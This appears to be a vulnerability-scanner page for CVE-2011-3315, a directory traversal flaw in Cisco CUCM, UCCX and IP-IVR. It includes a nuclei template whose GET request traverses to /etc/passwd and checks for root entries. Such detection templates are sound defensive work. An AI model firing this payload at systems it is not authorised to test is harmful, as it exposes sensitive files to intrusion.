Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal

highseverity

7.8CVSS score

25.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049.

Impact

An attacker can exploit this vulnerability to access sensitive files and directories on the affected system.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2011-3315 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2011-3315

info:
  name: Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files and directories on the affected system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36256
    - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-uccx
    - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-cucm
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2011-3315
    cwe-id: CWE-22
    epss-score: 0.25747
    epss-percentile: 0.97984
    cpe: cpe:2.3:h:cisco:unified_ip_interactive_voice_response:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: unified_ip_interactive_voice_response
  tags: cve,cve2011,lfi,cisco,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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